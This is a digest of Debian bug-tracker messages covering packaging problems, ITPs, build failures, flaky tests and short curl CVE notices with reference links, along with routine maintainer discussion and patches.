Bug#1010249: crystal: missing dependency on libgc-dev

[Stefan Breunig]

Package: crystal
Version: 1.2.2+dfsg-1
Severity: normal
X-Debbugs-Cc: stefan-deb...@yrden.de

Dear Maintainer,

building executables with crystal depends on libgc-dev or one of its 
dependencies:

$ echo 'puts "hello world"' > hello_world.cr
$ crystal build hello_world.cr
/usr/bin/ld: cannot find -lgc (this usually means you need to install the 
development package for libgc): No such file or directory
collect2: error: ld returned 1 exit status
Error: execution of command failed with code: 1: `cc "${@}" -o 
/tmp/crystal/hello_world  -rdynamic -L/usr/bin/../lib/crystal -lpcre -lm -lgc 
-lpthread -levent -lrt -ldl`

Installing the libgc-dev package fixes the issue.

Cheers
Stefan

-- System Information:
Debian Release: bookworm/sid
  APT prefers testing-debug
  APT policy: (500, 'testing-debug'), (500, 'testing'), (10, 'experimental'), 
(10, 'unstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.16.0-5-amd64 (SMP w/8 CPU threads; PREEMPT)
Kernel taint flags: TAINT_WARN, TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages crystal depends on:
ii  libc6   2.33-7
ii  libevent-2.1-7  2.1.12-stable-5
ii  libgc1  1:8.0.6-1.1
ii  libgcc-s1   12-20220319-1
ii  libllvm12   1:12.0.1-20+b1
ii  libpcre32:8.39-14
ii  libstdc++6  12-20220319-1
ii  pkg-config  0.29.2-1

crystal recommends no packages.

Versions of packages crystal suggests:
pn  crystal-doc  
pn  crystal-samples  

-- no debconf information

Bug#1010247: ITP: greetd -- minimal and flexible login manager daemon

[Jonas Smedegaard]

X-Debbugs-Cc: Marc Dequènes (Duck) 

[ re-posting, using X-Debbugs-Cc to avoid some routing issues ]

Quoting Marc Dequènes (2022-04-27 08:19:59)
> Package: wnpp
> Severity: wishlist
> Owner: Marc Dequènes (Duck) 
> X-Debbugs-Cc: debian-de...@lists.debian.org
> 
> * Package name: greetd
>Version : 0.8.0
>Upstream Author : Kenny Levinsen 
> * URL : https://git.sr.ht/~kennylevinsen/greetd
> * License : GPL-3
>Programming Lang: Rust
>Description : minimal and flexible login manager daemon
> 
> greetd makes no assumptions about what you want to launch. Use gtkgreet
> to launch sway if you want a fully graphical session, or use agreety to
> launch a shell if you want a drop-in replacement for agetty(8) and
> login(1). If you can run it from your shell in a TTY, greetd can start
> it. If it can be taught to speak a simple JSON-based IPC protocol, then
> it can be a greeter.
> 
> 
> Most login managers historically assumes X11. The most compatible one is
> probably GDM but unless you use GNOME you may wish to have a more
> lightweight solution. Lightdm worked well until recently despite not
> having Walyland support itself but it is now afflicted by this bug:
>https://github.com/swaywm/sway/issues/6655
> The last release dates 2018 and there is no recent coding activity.
> I think greetd's architecture properly decouples authentication and the
> login UI and makes for a good replacement for Wayland users.
> 
> I was thinking about maintaining it into the Rust team but I have not 
> joined yet.

This looks quite useful.

I'd be happy to co-maintain if you are interested in doing so outside of 
the Rust team - e.g. using the more loose debian collaboration section 
at salsa.


 - Jonas

-- 
 * Jonas Smedegaard - idealist & Internet-arkitekt
 * Tlf.: +45 40843136  Website: http://dr.jones.dk/

 [x] quote me freely  [ ] ask before reusing  [ ] keep private

signature.asc
Description: signature

Bug#1010251: stellarium: please consider packaging JPL ephemerides

[Liam Stitt]

Package: stellarium
Version: 0.22.1-1
Severity: wishlist
X-Debbugs-Cc: sti...@cuug.ab.ca

Hi. It would be neat someday to have an add-on package that installs
the JPL ephemerides that Stellarium groks per 5.5.3 in the current
user guide, as found under de[34][01]/ at
ftp://ssd.jpl.nasa.gov/pub/eph/planets/Linux/

Much like the additional star catalogues, these are of course far
too large to be sensible packaging directly, but a little package
that downloads them would rock.

In any case, thanks for all your great work packaging this over
the years!


-- System Information:
Debian Release: bookworm/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.16.0 (SMP w/2 CPU threads; PREEMPT)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages stellarium depends on:
ii  libc6 2.33-7
ii  libgcc-s1 12-20220319-1
ii  libqt5charts5 5.15.2-2
ii  libqt5core5a  5.15.2+dfsg-16+b1
ii  libqt5gui55.15.2+dfsg-16+b1
ii  libqt5multimedia5 5.15.2-3
ii  libqt5multimediawidgets5  5.15.2-3
ii  libqt5network55.15.2+dfsg-16+b1
ii  libqt5positioning55.15.2+dfsg-3+b1
ii  libqt5printsupport5   5.15.2+dfsg-16+b1
ii  libqt5script5 5.15.2+dfsg-2
ii  libqt5serialport5 5.15.2-2
ii  libqt5widgets55.15.2+dfsg-16+b1
ii  libstdc++612-20220319-1
ii  stellarium-data   0.22.1-1
ii  zlib1g1:1.2.11.dfsg-4

stellarium recommends no packages.

stellarium suggests no packages.

-- no debconf information

Bug#1010252: curl: CVE-2022-27776: Auth/cookie leak on redirect

[Salvatore Bonaccorso]

Source: curl
Version: 7.82.0-2
Severity: important
Tags: security upstream
X-Debbugs-Cc: car...@debian.org, Debian Security Team 
Control: found -1 7.74.0-1.3+deb11u1
Control: found -1 7.64.0-4+deb10u2

Hi,

The following vulnerability was published for curl.

CVE-2022-27776[0]:
| Auth/cookie leak on redirect

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2022-27776
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27776
[1] https://curl.se/docs/CVE-2022-27776.html
[2] https://github.com/curl/curl/commit/6e659993952aa5f90f48864be84a1bbb047fc258

Regards,
Salvatore

Bug#1010253: curl: CVE-2022-27775: Bad local IPv6 connection reuse

[Salvatore Bonaccorso]

Source: curl
Version: 7.82.0-2
Severity: important
Tags: security upstream
X-Debbugs-Cc: car...@debian.org, Debian Security Team 
Control: found -1 7.74.0-1.3+deb11u1

Hi,

The following vulnerability was published for curl.

CVE-2022-27775[0]:
| Bad local IPv6 connection reuse

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2022-27775
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27775
[1] https://curl.se/docs/CVE-2022-27775.html

Regards,
Salvatore

Bug#1010254: curl: CVE-2022-27774: Credential leak on redirect

[Salvatore Bonaccorso]

Source: curl
Version: 7.82.0-2
Severity: important
Tags: security upstream
X-Debbugs-Cc: car...@debian.org, Debian Security Team 
Control: found -1 7.74.0-1.3+deb11u1
Control: found -1 7.64.0-4+deb10u2

Hi,

The following vulnerability was published for curl.

CVE-2022-27774[0]:
| Credential leak on redirect

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2022-27774
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27774
[1] https://curl.se/docs/CVE-2022-27774.html

Regards,
Salvatore

Bug#1010255: systemd-bootchart: FTBFS on riscv64: not support riscv64

[Nobuhiro Iwamatsu]

Source: systemd-bootchart
Version: 234-1
Severity: important
Tags: patch, fixed-upstream
User: debian-ri...@lists.debian.org
Usertags: riscv64
X-Debbugs-Cc: debian-ri...@lists.debian.org

Dear Maintainer,

systemd-bootchart FTBFS on riscv64.
Because systemd-bootchart does not support on this arch.

https://buildd.debian.org/status/fetch.php?pkg=systemd-bootchart&arch=riscv64&ver=234-1&stamp=1621474716&raw=0
```
  198 | #  error "Please register your architecture here!"
  |^
src/architecture.h:202:2: warning: #warning "PROC_CPUINFO_MODEL not defined for 
your architecture" [-Wcpp]
  202 | #warning "PROC_CPUINFO_MODEL not defined for your architecture"
  |  ^~~
make[3]: *** [Makefile:1062: src/svg.o] Error 1
make[3]: *** Waiting for unfinished jobs
libtool: compile:  gcc -DHAVE_CONFIG_H -I.
```

And this problem has already been fixed in upstream[0].
Could you take it in?

Best regards,
  Nobuhiro

[0:] 
https://github.com/systemd/systemd-bootchart/commit/91353b424bde6575d42a21a3a202fda2450e11c5


-- System Information:
Debian Release: bookworm/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: armhf, arm64, i386

Kernel: Linux 5.16.0-6-amd64 (SMP w/16 CPU threads; PREEMPT)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, 
TAINT_UNSIGNED_MODULE
Locale: LANG=ja_JP.UTF-8, LC_CTYPE=ja_JP.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Bug#1010256: ITP: rust-ahash -- non-cryptographic hash function

[Jonas Smedegaard]

Package: wnpp
Severity: wishlist
Owner: Jonas Smedegaard 
X-Debbugs-Cc: debian-de...@lists.debian.org

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

* Package name: rust-ahash
  Version : 0.7.6
  Upstream Author : Tom Kaitchuck 
* URL : https://github.com/tkaitchuck/ahash
* License : Apache-2.0 or Expat
  Programming Lang: Rust
  Description : non-cryptographic hash function

 AHash is the fastest, DOS resistant hash currently available in Rust.
 AHash is intended *exclusively* for use in in-memory hashmaps.
 .
 AHash's output is of high quality
 but aHash is **not** a cryptographically secure hash.

This package is needed by ITP packages atomic-data-rust and fractal.
It will be maintained in the collaborative debian section at salsa,
here: https://salsa.debian.org/debian/rust-ahash


 - Jonas

-BEGIN PGP SIGNATURE-

iQIzBAEBCgAdFiEEn+Ppw2aRpp/1PMaELHwxRsGgASEFAmJpAKQACgkQLHwxRsGg
ASErww/+MO95S8ls8+UQKNMhag9M/z3V9DP4+B29Skwxy+PbegpDd+2eIFeZb9P5
YMnVtNyI4wRfrYug4NmTzGxHM7tu1GHKpXzUesCtirihFUaCl7oXkGBqWtjvjJWl
vIN9Y5NibQQPl+Br07HI/u5wEUn6kZgRHry4hJZV6E4nvY4RKgOOwQlLAuikqOZ6
Enr65fjv4P+zyWfH7GR7V3XwZKxcrE5ISL+l3piZnKijLeZUsQAfA2s95sQrIeHb
QyQ2b/Q5zoARe7ypvOzpcyfneLJ0gLB0/WG25fuVIg5fE3CFo1UIhsqmD5qekTxL
CPUdWidkHgQ8mzYC6BlrOEw3ETUEydGodfEc1jiaWDENj74kTgcC5QR4M358JdLj
iy+N+WlZv1UURgVXLU5ek41upzI9uFXdpk0Fu4f3Qk6o9juK1rjW2oRKZn3ZR8jH
kvy+6oUa5zU/IyVznFemwedUy2sPdihmqGNg7KXHv58XhWDYnOAQMo+tnvuJJHT0
6V7EBGKg8Rd1XOjYkJq+6UMDTY9JsL8ah+DpmNeub3urtVb6c66repYkrFQELlzK
I/e6BqR7RSQoShjdGz153niR3TReV0qJSQeR79RtLogOnU05rqLtKnUw8yXWrhdh
cfUcWWs7i8+VBqKqt+LyhEnC4/Ec/hEYM+3fml5/N+x7TRvEJHs=
=cTbd
-END PGP SIGNATURE-

Bug#996965: CSS help needed for r-cran-bslib (Was: shiny-server in debian)

[Andreas Tille]

Hi again,

I've made some progress with bslib but now I have trouble with its
autopkgtest.  Bslib provides different versions of bootstrap (version 3,
4 and 5) to provide a unique interface for all R packages.  I managed
that the provided unittests are working for bootstrap4 but it fails for
some tests of bootstrap3.  This is true for the original bootstrap3
as distributed by Debian as well as the patched version (bslib contains
a set of patches which I applied in the process of packaging).  The
erroneous code is not affected by the patch.  Here is an example for
the failure:

── Error (test-theme-base-colors.R:45:3): bs3 base colors ──
Error in `compile_data(sass_input, options)`: Error: Invalid CSS after "... 
floor(math": expected expression (e.g. 1px, bold), was ".div($grid-gutter-w"
on line 369:46 of 
../../../../../../usr/share/nodejs/bootstrap-sass/assets/stylesheets/bootstrap/_variables.scss
from line 110:1 of stdin
>> vbar-padding-horizontal:floor(math.div($grid-gutter-width, 2)) !defa
   --^
Backtrace:
▆
 1. └─bslib::bs_get_variables(theme, varnames) at test-theme-base-colors.R:45:2
 2.   └─sass::sass_partial(...)
 3. └─sass::sass(...)
 4.   └─sass:::compile_data(sass_input, options)
── Error (test-theme-base-colors.R:106:3): bs3 accent colors ───

This is from the patched code - the full autopkgtest log is here:

  https://salsa.debian.org/r-pkg-team/r-cran-bslib/-/jobs/2706701#L1056

If the bslib patches are not applied the autopkgtest log looks like

  https://salsa.debian.org/r-pkg-team/r-cran-bslib/-/jobs/2700112#L1056

Any hint how to fix the css code would be really helpful.

Kind regards

 Andreas.

Am Thu, Apr 14, 2022 at 04:50:38PM +0200 schrieb Andreas Tille:
> Hi,
> 
> Am Thu, Apr 14, 2022 at 11:26:58AM +0200 schrieb Andreas Tille:
> > I did a next step in
> > 
> >
> > https://salsa.debian.org/r-pkg-team/r-cran-bslib/-/commit/7d066e14383753156d851e81b0db9e21665ce861
> >  
> > 
> > where I simply try the patience of ftpmaster to accept binary fonts.
> > I'll now try to sort out the licenses of the different bootstrap
> > versions and hope to upload soon to new.
> 
> I've managed to exclude bootstrap3 but there are issues with the
> Debian packaged bootstrap4 which I've reported upstream[1].  I'm now
> checking what I can do for boostrap5 (besides removing it completely
> for the moment and hoping that we can go with boostrap[34] as long
> as version 5 is not packaged yet (I do not have a better idea right
> now :-()
> 
> So far for the status of bslib
> 
> Andreas.
> 
> [1] https://github.com/rstudio/bslib/issues/422 
> 
> -- 
> http://fam-tille.de
> 
> 

-- 
http://fam-tille.de

Bug#862207: error: libcrypto does not provide GOST

[martin f krafft]

Regarding the following, written by "Michael Tokarev" on 2022-04-26 at 18:28 
Uhr +0300:
Well, GOST comes as an add-on to libcrypto. So if you install such 
an add-on on your system, everything will work. If we disable GOST 
for ldns, we'll got another bugreport, saying GOST is not enabled 
even if ldns supports it.


I think it's best to keep it the way it is now, how do you think?


Yeah, but maybe add a stanza to the README?

--
 .''`.   martin f. krafft  @martinkrafft
: :'  :  proud Debian developer
`. `'`   http://people.debian.org/~madduck
  `-  Debian - when you have better things to do than fixing systems

Bug#862207: error: libcrypto does not provide GOST

[Ondřej Surý]

Hi,

GOST has been deprecated for use in DNSSEC, and the
actual standard actually says it MUST NOT be used for
signing (and MAY be used for verification), see RFC 8624.

I think the best course of action here is to actually disable it
everywhere where GOST R 34.10-2001 is used as it has
been superseded by GOST R 34.10-2012 in [RFC7091].

If we get a bugreport about GOST being disabled, it should
be rejected with the reference to RFC 8624.

Cheers,
Ondrej
--
Ondřej Surý (He/Him)
ond...@sury.org

> On 26. 4. 2022, at 17:28, Michael Tokarev  wrote:
> 
> Control: tag -1 + moreinfo
> 
> On Tue, 9 May 2017 21:44:45 +0200 martin f krafft  wrote:
>> Package: ldnsutils
>> Version: 1.7.0-1
>> Severity: normal
>> When trying ti use ldns-key2ds with -g, I get an error about GOST
>> not being available.
>> % ldns-key2ds -g -n _combined.key
>> error: libcrypto does not provide GOST
>> Either the option should be disabled, or ldns-key2ds linked with
>> a libcrypto that provides GOST.
> 
> Well, GOST comes as an add-on to libcrypto. So if you install
> such an add-on on your system, everything will work. If we
> disable GOST for ldns, we'll got another bugreport, saying
> GOST is not enabled even if ldns supports it.
> 
> I think it's best to keep it the way it is now, how do you think?
> 
> /mjt
> 



signature.asc
Description: Message signed with OpenPGP

Bug#1009915: sysvinit: Please align with manpages-l10n and afterwards activate man page translations

[Mark Hindley]

On Wed, Apr 20, 2022 at 08:39:44PM +0200, Helge Kreutzmann wrote:
> > I have had a quick look and I think the upstream support for this is still
> > incomplete. Shouldn't there be a rule for building translated manpages in
> > man/Makefile?
> 
> I did not yet check the details, I just had a quick look. I can check
> more in detail in the weekend.

A quick experiment with po4a suggests that running

 po4a po4a.cfg

in man/po does build the translated manpages.

However, there is no makefile rule for that build or subsequent installation
(which is bizarrely handled in src/Makefile!).

That seems something to deal with upstream. Helge, could you liaise with Jesse
to complete that?

Thanks

Mark

Bug#1008707: RFS: calamares-extensions/1.2.1-1 [ITP] -- Mobile module for Calamares installer framework

[undef]

control: tags -1 -moreinfo


Hi,

Thanks for having a look at calamares-extensions

On 4/27/22 04:44, Bastian Germann wrote:

Control: tags -1 moreinfo

On Thu, 31 Mar 2022 08:28:58 +1100 undef  wrote:

Changes for the initial release:

calamares-extensions (1.2.1-1) UNRELEASED; urgency=medium
.
* Initial Release (Closes: #998858)


When you propose a team-maintained package, please ask the team for 
sponsorship first.

If you have asked and they did not respond, please explain the details.



I've discussed the package with the QT KDE Team on IRC. They were happy 
with me working on the package under their team but did not have the 
time to help with maintenance. As I have already been maintaining the 
package for Mobian outside of Debian I was happy with this.


I have not had a response to my sponsorship requests over IRC.


You have to target unstable or experimental with a new package.

Please provide a new upload and untag moreinfo.



Fixed in the latest version on Debian Mentors.

Bug#1010257: ITP: rust-xor-name -- DHT-optimized array function

[Jonas Smedegaard]

Package: wnpp
Severity: wishlist
Owner: Jonas Smedegaard 
X-Debbugs-Cc: debian-de...@lists.debian.org

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

* Package name: rust-xor-name
  Version : 4.0.1
  Upstream Author : MaidSafe.net limited
* URL : https://github.com/maidsafe/xor_name
* License : BSD-3-clause or Expat
  Programming Lang: Rust
  Description : DHT-optimized array function

This package is needed for ITP project safe-network.
It will be maintained in the collaborative debian section of salsa,
here: https://salsa.debian.org/debian/rust-xor-name

 - Jonas

-BEGIN PGP SIGNATURE-

iQIzBAEBCgAdFiEEn+Ppw2aRpp/1PMaELHwxRsGgASEFAmJpDqQACgkQLHwxRsGg
ASFEXQ/+NX+zKLEIaRKwCnrrCbfI6QSWoYhRcZCz40LwB7x6EEZJBZt5I+uV81l7
3OgAdjznDR//tWiUPqCJ1j1323uZaLWTcEKE4aTynEk+S3hluJ0lBezWmBe9zFOK
9bCxKU3nYDqiipfaYOy7PsRh+htHSBbTaxodqeejuLmdj82vUjBVLhYDj32Ne1Km
NGWQekvO96u97srigexfd47TxrKrzmPccUSB5++nW/BzSUIAHas/nkORkgqMzG87
l8agF/I9Fc1IxsM1s3evQ/YePM23Z9vcJNpVVDefG5RQeYYRv1B3P2xO4pMcfGSn
8fJPqys4ECc4i7s0oMgLkn9fi6zQgAmcwpOrsPq2x3Xbt7qVdmIKnRSW9vMuSmjz
o6tSptgybFsDAKQbgvhB0lgVIoh78pbdeoFOdVGr6ibKiN3j+oDAjGSqbTXYZVAx
8Y+/dcxG1SkHO2gCUu5VWkR5pS5b48MXT+Cqwzn3giI9XONVUuz53gpjhaFa9c1m
WXyLLi9kEGRbYKuq8/swJ/5m5XHsFTlM1euWGu+rpO6px6alH5b38EJirpsktfkd
7tlZjjLe0xLh1tYMLeNGDNWEh7ZHs02j3voPUU2LykYZEvYgeTKXj20jAldvbYNE
E8hPkUxfX52VOcrdQbKa9YRJJjf+HMFKR2vPDeYZ0eyeU5WDtg4=
=i8hK
-END PGP SIGNATURE-

Bug#1010258: python3-pymca5: flaky autopkgtest on i386

[Julian Gilbey]

Package: python3-pymca5
Version: 5.7.1+dfsg-1
Severity: normal
X-Debbugs-Cc: Picca Frédéric-Emmanuel 

Uploading a new version of python3-qtconsole with only changes to the
autopkgtest suite (no changes to the python3 module at all) caused
those packages depending on it to be retested on the CI system.  One
of these is pymca, and it failed:
https://ci.debian.net/data/autopkgtest/testing/i386/p/pymca/21180621/log.gz
I tried running it locally and it passed fine, as it did with the
previous version of python3-qtconsole.  So it seems that this test is
flaky, at least with Python 3.10:

==
FAIL: testFullViewNumpy (McaStackViewTest.testMcaStackView)
--
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/PyMca5/tests/McaStackViewTest.py", line 
208, in testFullViewNumpy
self._assertFullView(data)
  File "/usr/lib/python3/dist-packages/PyMca5/tests/McaStackViewTest.py", line 
274, in _assertFullView
numpy.testing.assert_array_equal(data[idxFull],
  File "/usr/lib/python3/dist-packages/numpy/testing/_private/utils.py", line 
934, in assert_array_equal
assert_array_compare(operator.__eq__, x, y, err_msg=err_msg,
  File "/usr/lib/python3/dist-packages/numpy/testing/_private/utils.py", line 
844, in assert_array_compare
raise AssertionError(msg)
AssertionError: 
Arrays are not equal

Mismatched elements: 1 / 1512 (0.0661%)
Max absolute difference: 4.54747351e-13
Max relative difference: 2.09568557e-16
 x: array(1008.747835, 1009.708006, 1010.258788, ..., 1014.26906 ,
  1015.457929, 1016.341512],
 [1017.31171 , 1018.872885, 1019.41133 , ..., 1023.968694,...
 y: array(1008.747835, 1009.708006, 1010.258788, ..., 1014.26906 ,
  1015.457929, 1016.341512],
 [1017.31171 , 1018.872885, 1019.41133 , ..., 1023.968694,...

--

Unfortunately the output does not show which elements mismatched or
what their values were.

I don't know how best to proceed with a flaky test; I could re-upload
python3-qtconsole, but that doesn't seem like the best approach.  Or
perhaps this test could be marked as flaky or skipped on i386?  It
would be very good to resolve this, though, as it's one of the few
things blocking spyder from migrating to testing.

Thanks!

   Julian

Bug#979101: Legally problematic GPL-3+ readline dependency

[Bastian Germann]

On Mon, 18 Oct 2021 14:17:22 -0300 Carlos Henrique Lima Melara 
 wrote:

Hi, Bastian.

On Tue, Oct 12, 2021 at 12:44:18PM +0200, Bastian Germann wrote:
> I see that upstream included your patch to deal with this. Can you please
> include that in the package and change the build dependency? I am happy to
> sponsor the new revision.

Thanks for the offer and I'll take it, but I'd like to wait a bit
because my patch solved the dependency and also broke the autocompletion
of the package. Turns out the libedit compatibility layer has some
bugs, I've already reported one and it was fixed by the developers, but I
need some time to test the behaviour of devtodo after the fix.

Maybe I'll be able to do that next weekend, but I don't think we'll
have time to upload a new version before the 27th of October deadline.

> Thanks,
> Bastian

Cheers,
Carlos (a.k.a. Charles)


Any news on this?

Bug#1010259: ipykernel: Please make build-dep loop breakable

[Samuel Thibault]

Source: ipykernel
Version: 4.5.2-2
Severity: normal
Tags: patch

Hello,

ipykernel build-deps on ipyparallel which build-deps on ipykernel. But
actually the build-dep in ipykernel is optional, could you mark it so as
attached?

Samuel

-- System Information:
Debian Release: bookworm/sid
  APT prefers testing
  APT policy: (990, 'testing'), (500, 'unstable-debug'), (500, 
'testing-debug'), (500, 'stable-security'), (500, 'stable-debug'), (500, 
'proposed-updates-debug'), (500, 'proposed-updates'), (500, 
'oldstable-proposed-updates-debug'), (500, 'oldstable-proposed-updates'), (500, 
'oldoldstable'), (500, 'buildd-unstable'), (500, 'unstable'), (500, 'stable'), 
(500, 'oldstable'), (1, 'experimental-debug'), (1, 'buildd-experimental'), (1, 
'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386, arm64

Kernel: Linux 5.17.0 (SMP w/8 CPU threads; PREEMPT)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

-- 
Samuel
---
Pour une évaluation indépendante, transparente et rigoureuse !
Je soutiens la Commission d'Évaluation de l'Inria.
--- debian/control.original 2022-04-27 12:02:00.475587656 +0200
+++ debian/control  2022-04-27 12:02:11.855633235 +0200
@@ -10,7 +10,7 @@
dh-python,
python3-all,
python3-flaky,
-   python3-ipyparallel,
+   python3-ipyparallel ,
python3-ipython (>= 5.8.0-2~),
python3-jupyter-client (>= 6.1.11~),
python3-matplotlib-inline,

Bug#1010260: lintian: false positive maintainer-script-empty if it has conditional exit

[Eugene Crosser]

Package: lintian
Version: 2.114.0ubuntu1
Severity: normal

Dear Maintainer,

maintainer-script may have as its only function to forbid package
installation or upgrade. For instance, I have a `preinst` script that
forbids upgrade but does not forbid its installation:

=
#!/bin/sh
set -e

case $1 in
upgrade)
  echo "" >&2
  echo "*** This package cannot be live-upgraded, it is supposed ***" >&2
  echo "*** to be preinstalled in the bootable image ***" >&2
  echo "" >&2
  exit 1
  ;;
esac

#DEBHELPER#

exit 0
=

In my view, this is a perfectly valid use case, however the check for
"empty maintainer script" in lib/Lintian/Check/MaintainerScripts/Empty.pm
line 86 detects such script as "empty" and reports a warning.

I have posted a comment about the same in salsa gitlab:
https://salsa.debian.org/lintian/lintian/-/commit/aa476eb35498f84eb5214a483cd68be9b28188fe#note_306753

-- System Information:
Irrelevant since I am filing it from a workstation, and the problem
exists in the master branch of the lintian repo.

-- no debconf information

Bug#1008707: RFS: calamares-extensions/1.2.1-1 [ITP] -- Mobile module for Calamares installer framework

[Bastian Germann]

Am 27.04.22 um 11:24 schrieb undef:

Please provide a new upload and untag moreinfo.



Fixed in the latest version on Debian Mentors.



Please keep the git repo updated as well.

Bug#1010261: faustworks FTCBFS: missing Build-Depends: qt5-qmake:native for running lrelease

[Helmut Grohne]

Source: faustworks
Version: 0.5~repack0-6
Tags: patch
User: debian-cr...@lists.debian.org
Usertags: ftcbfs

faustworks fails to cross build from source, because it attempts to run
lrelease on a .pro file without depending on qt5-qmake:native. Please
consider applying the attached patch to add the missing dependency.

Helmut
diff --minimal -Nru faustworks-0.5~repack0/debian/changelog 
faustworks-0.5~repack0/debian/changelog
--- faustworks-0.5~repack0/debian/changelog 2018-10-30 10:10:17.0 
+0100
+++ faustworks-0.5~repack0/debian/changelog 2022-04-26 20:53:23.0 
+0200
@@ -1,3 +1,11 @@
+faustworks (0.5~repack0-6.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Fix FTCBFS: Add missing qt5-qmake:native build-dependency for running
+lrelease. (Closes: #-1)
+
+ -- Helmut Grohne   Tue, 26 Apr 2022 20:53:23 +0200
+
 faustworks (0.5~repack0-6) unstable; urgency=medium
 
   * Team upload.
diff --minimal -Nru faustworks-0.5~repack0/debian/control 
faustworks-0.5~repack0/debian/control
--- faustworks-0.5~repack0/debian/control   2018-10-30 10:10:17.0 
+0100
+++ faustworks-0.5~repack0/debian/control   2022-04-26 20:53:22.0 
+0200
@@ -6,6 +6,7 @@
  Jaromír Mikeš 
 Build-Depends:
  debhelper (>= 10~),
+ qt5-qmake:native,
  qtbase5-dev,
  qttools5-dev-tools,
  libqt5svg5-dev,

Bug#1009701: opencpn: Wrong gtk linkage causes plugin incompatibility

[Alec Leamas]

Fixed in 5.6.0+dfsg0-1~bpo10+2

Bug#1010258: python3-pymca5: flaky autopkgtest on i386

[picca]

On 2022-04-27 11:47, Julian Gilbey wrote:

Package: python3-pymca5
Version: 5.7.1+dfsg-1
Severity: normal
X-Debbugs-Cc: Picca Frédéric-Emmanuel 

Uploading a new version of python3-qtconsole with only changes to the
autopkgtest suite (no changes to the python3 module at all) caused
those packages depending on it to be retested on the CI system.  One
of these is pymca, and it failed:
https://ci.debian.net/data/autopkgtest/testing/i386/p/pymca/21180621/log.gz
I tried running it locally and it passed fine, as it did with the
previous version of python3-qtconsole.  So it seems that this test is
flaky, at least with Python 3.10:

==
FAIL: testFullViewNumpy (McaStackViewTest.testMcaStackView)
--
Traceback (most recent call last):
  File
"/usr/lib/python3/dist-packages/PyMca5/tests/McaStackViewTest.py",
line 208, in testFullViewNumpy
self._assertFullView(data)
  File
"/usr/lib/python3/dist-packages/PyMca5/tests/McaStackViewTest.py",
line 274, in _assertFullView
numpy.testing.assert_array_equal(data[idxFull],
  File
"/usr/lib/python3/dist-packages/numpy/testing/_private/utils.py", line
934, in assert_array_equal
assert_array_compare(operator.__eq__, x, y, err_msg=err_msg,
  File
"/usr/lib/python3/dist-packages/numpy/testing/_private/utils.py", line
844, in assert_array_compare
raise AssertionError(msg)
AssertionError:
Arrays are not equal

Mismatched elements: 1 / 1512 (0.0661%)
Max absolute difference: 4.54747351e-13
Max relative difference: 2.09568557e-16
 x: array(1008.747835, 1009.708006, 1010.258788, ..., 1014.26906 ,
  1015.457929, 1016.341512],
 [1017.31171 , 1018.872885, 1019.41133 , ..., 1023.968694,...
 y: array(1008.747835, 1009.708006, 1010.258788, ..., 1014.26906 ,
  1015.457929, 1016.341512],
 [1017.31171 , 1018.872885, 1019.41133 , ..., 1023.968694,...

--

Unfortunately the output does not show which elements mismatched or
what their values were.

I don't know how best to proceed with a flaky test; I could re-upload
python3-qtconsole, but that doesn't seem like the best approach.  Or
perhaps this test could be marked as flaky or skipped on i386?  It
would be very good to resolve this, though, as it's one of the few
things blocking spyder from migrating to testing.

Thanks!

   Julian



Hello Julien, it seems thatt he solution is to relax the comparison in 
the pymca code.
I am in vacation. So if you want to add a patch to relax this constrain 
do not hesitate.

Just push this to the pymca salsa code.
You can upload it if you want.

cheers

Fred

Bug#980502:

[François Jortay]

Abou Al Montacir rightly wrote "this bug renders evolution almost
unusable for a serious entreprise use".

Does the testing procedure contains a check list of major functions
(like printing an email) that must absolutly be tested with success
before release of a new Debian upgrade ?

Bug#996965: CSS help needed for r-cran-bslib (Was: shiny-server in debian)

[Nilesh Patra]

On Wed, Apr 27, 2022 at 10:59:25AM +0200, Andreas Tille wrote:
> ── Error (test-theme-base-colors.R:45:3): bs3 base colors 
> ──
> Error in `compile_data(sass_input, options)`: Error: Invalid CSS after "...   
>   floor(math": expected expression (e.g. 1px, bold), was ".div($grid-gutter-w"
> on line 369:46 of 
> ../../../../../../usr/share/nodejs/bootstrap-sass/assets/stylesheets/bootstrap/_variables.scss

This was coming from node-bootstrap-sass directly as it was using new API for 
some
functions which is not yet compatible with sass.
I have fixed them. Now, 200 tests pass and just a couple of tests fail and I am 
out of
time to check those now. _maybe_ you could skip for now and upload to unstable 
